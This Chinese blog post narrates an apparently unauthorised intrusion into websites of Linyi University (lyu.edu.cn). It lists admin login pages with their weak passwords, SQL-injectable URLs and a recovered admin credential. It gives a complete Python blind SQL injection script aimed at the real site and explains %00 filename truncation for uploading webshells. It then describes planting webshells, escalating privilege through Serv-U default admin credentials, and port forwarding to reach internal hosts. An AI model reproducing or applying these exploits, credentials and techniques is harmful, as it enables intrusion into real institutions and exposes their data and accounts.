有意思的黑客技术

http://blog.csdn.net/wangyi_lin/article/details/8159155


好长一段时间之前搞得了,后来因为比较忙所以没有整理,是一个机友要求帮忙,其实这个站做的挺烂的,直接拿wvs扫了一下,直接出了weak password的后台地址,

http://business.lyu.edu.cn/jpkc/glx/admin/manage.asp
http://business.lyu.edu.cn/jpkc/wangl2/huxiujun/admin/manage.asp

[plain] view plain copy
  1. http://business.lyu.edu.cn/jpkc/sjjjgl/admin/login.asp  
  2. http://business.lyu.edu.cn/jpkc/glx/admin/login.asp  
  3. http://business.lyu.edu.cn/jpkc/wangl2/huxiujun/admin/login.asp  
  4. user:admin  
  5. password:1  
这三个后台大致就是如下的样子,里面的功能基本没有一个能使的,不是报错就是权限不够。

都是在jpkc(精品课程)的目录下,应该是多个粗心管理员的所作所为。


因为后台功能大都不能使用,只得到了一些服务器信息

[plain] view plain copy
  1. 服务器的有关参数  服务器名  business.lyu.edu.cn   
  2. 服务器IP  211.64.240.206   
  3. 服务器端口  80   
  4. 服务器时间  2012-10-30 下午 05:17:45   
  5. IIS版本  Microsoft-IIS/6.0   
  6. 脚本超时时间  90 秒   
  7. 本文件路径  F:\sxy\jpkc\sjjjgl\admin\ServerInfo.asp   
  8. 服务器CPU数量   个   
  9. 服务器解译引擎  VBScript/5.6.8850   
  10. 服务器操作系统     

转过头来看看扫出的几个注入点,

[plain] view plain copy
  1. http://business.lyu.edu.cn/colum3/more.asp?bigcataid=1'  
  2. http://business.lyu.edu.cn/jiuye/gqtzs.asp?BigClassID=1'  
  3. http://business.lyu.edu.cn/colum3/readnews.asp?newsid=1'  
直接使用第一个,很不错的报错

首先是放到工具里面跑一下,穿山甲之跑出了tables和column,却跑不出data,不知道是什么原因

[plain] view plain copy
  1. admin   title newsid content about number passwd logins email username id  
  2. news    title newsid content about  
  3. system  title newsid content about search logo name email id  
其实很多时候,注入工具多不好使,所以有一套自己的注入工具还是很重要的,修改了一个别人的python脚本为己用

本着间接和可扩展性的原则,脚本一点都不智能  - -!,但是可供自定义的地方很多,也没有多么智能的判断,毕竟是自己使用的脚本

[python] view plain copy
  1. from sys import exit   
  2. from urllib import urlopen   
  3. from string import join,strip   
  4. from re import search  
  5.   
  6. def check_judge(url):  
  7.     urlfile = urlopen(url)   
  8.     htmlcodes = urlfile.read()   
  9.     if search(judge,htmlcodes):  
  10.         return 1  
  11.     else:  
  12.         return 0  
  13. def get_tablename():   
  14.     tablefile = open("table.txt")   
  15.     for line in tablefile.readlines():   
  16.         line = strip(line)   
  17.         sql = join(['%20or%20exists%20(select%20*%20from%20',line,')'],'')    
  18.         if check_judge(url+sql):  
  19.             print "Found:",line  
  20.         else:   
  21.             print #"Error:",url+sql  
  22. def get_columnname(tablename):   
  23.     columnname = open("column.txt")   
  24.     for columnnameline in columnname.readlines():   
  25.         columnnameline = strip(columnnameline)   
  26.         sql = join(['%20or%20exists%20(select%20',columnnameline,'%20from%20',tablename,')'],'')  
  27.         if check_judge(url+sql):   
  28.             print "Found:", columnnameline,"\n"  
  29.         else:   
  30.             print #"Error:",url+sql   
  31. def get_datalenth(tablename,columnname):   
  32.     for x in range(1,51):   
  33.         sql = join(['%20or%20(select%20top%201%20len(',columnname,')%20From%20',tablename,')=',str(x)],'')   
  34.         if check_judge(url+sql):  
  35.             print "Found:", x,"\n"   
  36.             break  
  37.         else:   
  38.             print "Error:",sql  
  39.           
  40. def get_data(tablename,columnname,lenth):   
  41.     list = []   
  42.     for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]:   
  43.         list.extend(x)   
  44.     global username   
  45.     username  = ''   
  46.     for y in range(1,lenth+1):   
  47.         print "Now! Crack the left ",y," of the username","Waiting~~~~~~~"   
  48.         for z in list:   
  49.             sql = join(["%20or%20(select%20top%201%20asc(mid(",columnname,",",str(y),",","1))%20from%20",tablename,")=",str(z)],'')    
  50.             if check_judge(url+sql):   
  51.                 print chr(z)  
  52.                 username = join([username,chr(z)],'')  
  53.                 break  
  54.     print "Found the username = :",username,"\n"      
  55. print "\n########################################################################\n"   
  56. print " SQL Injection Scripts By LanLan with Python 2.3.x(QQ:915910623)"   
  57. print " Email: wanglanlan2008@gmial.com"   
  58. print "########################################################################\n";  
  59.   
  60.   
  61. #url = raw_input('Supply a URL to test inject =  ')   
  62. #judge = raw_input("\nJudge string = ")  
  63. url = "http://business.lyu.edu.cn/colum3/more.asp?bigcataid=1"  
  64. judge = "2012-11-7"    
  65. #get_tablename()  
  66. get_columnname("news")  
  67. get_datalenth("admin","passwd")  
  68. get_data("admin","passwd",16)  

成功跑出了用户名和密码,不过在后台地址http://business.lyu.edu.cn/colum3/login.asp

却显示密码不正确,有点蛋疼

[plain] view plain copy
  1. username:sxy  
  2. passwd:b34c037051a0adab   hsq  
因为这个网站实在太破,没有继续搞下去的心思,这时候机友进去了临沂大学另一个站的后台,决定去看一下


机友直接通过这个注入点跑出了管理员密码,这个注入点很有意思,会把过滤的字符列出来,而且还没有过滤大小写

想尝试union,但是猜字段数量有点麻烦,之后会在脚本中加入这个功能

[plain] view plain copy
  1. http://recenter.lyu.edu.cn/view.asp?id=822  
  2. Admin2 123456abc  

登入后台之后,在文章发布页面发现,editor的版本比较陈旧,在js中找到了editor的管理信息
[plain] view plain copy
  1. // Copyright (C) 2000, Microsoft, Corp. All rights reserved.  
  2. // File: rte.js  
  3. // Author: Scott Isaacs  
  4. // Contents: RTE Management Code  
  5. //  EDITOR PUBLIC (API)  

根据机友提示,这里有一个%00的文件截断漏洞,但是根据我的调查发现,如果上传插件选择重命名文件存储的话,那%00截断漏洞就没有用无之处了

和IIS6.0的解析漏洞的原理相似,只不过适用性广一点,拿很常用的无惧上传类做例子,

  1. sFileName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)  
  2.    oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)  
  3.    oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))  
  4.    oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)  
一律使用了,InStrRve这个函数总左向右读,这就导致如果构造  test.asp%00.jpg 的话,

filename是test.asp%00      Ext是.jpg

如果插件提供了自定义路径,或者是以用户名为路径的话,还可以构造这种的

/test.asp%00/test.jpg

不过这种情况比较少

不过这个网站无所谓,他直接没有过滤asp - -!,大马小马全部传上去,准备渗透一下内网。

扫了一下ip段,发现不少,应该是独立ip的主机

  1. -----IP:211.64.240.18-----  
  2. http://www.lyu.edu.cn/ 欢迎光临临沂大学!  
  3.   
  4. -----IP:211.64.240.51-----  
  5. http://mail.lyu.edu.cn/ 临沂大学  
  6.   
  7. -----IP:211.64.240.71-----  
  8. http://oa.lyu.edu.cn/ 临沂大学办公系统  
  9.   
  10. -----IP:211.64.240.203-----  
  11. http://jwco.lyu.edu.cn/ 欢迎访问临沂大学教务处  
  12. http://wlxy.lyu.edu.cn/ 临沂大学物流学院  
  13.   
  14. -----IP:211.64.240.204-----  
  15. http://sky.lyu.edu.cn/ 临沂大学生命科学学院  

使用大马上的serv-U提权,成功创建了账户,这里稍微讲一下,serv-U提权的原理

这个serv-U 是一个 FTP服务,有默认管理员密码 和端口
erv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P

使用管理员建立一个域,并添加系统级账户并执行命令,具体可以看这

[plain] view plain copy
  1. http://blog.csdn.net/lup7in/article/details/7025588  

成功建立超级管理员之后,却发现主机虽然开放3389,但是却连不上。

应该是内网的主机,网关只给80端口做了转发,这时候需要使用端口转发的技术

但必须要有一个外网IP,使用ice.exe,原理如下

[plain] view plain copy
  1. target:3389 ---> target:21 ----> Gateway ----> source:1234    

这样建立连接后我们只需要连接本地的1234端口,便可以和对方建立3389连接,

网上说使用vpn也可以,这个应该不行,vpn有点像另一个内网,这篇文章讲得很有意思

[plain] view plain copy
  1. http://hi.baidu.com/elzedsi/item/b9e66447140ffea160d7b9af  

因为没有外网IP,所以渗透内网的计划就暂且搁置了,哪位大神如果有兴趣可以搞一搞。




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值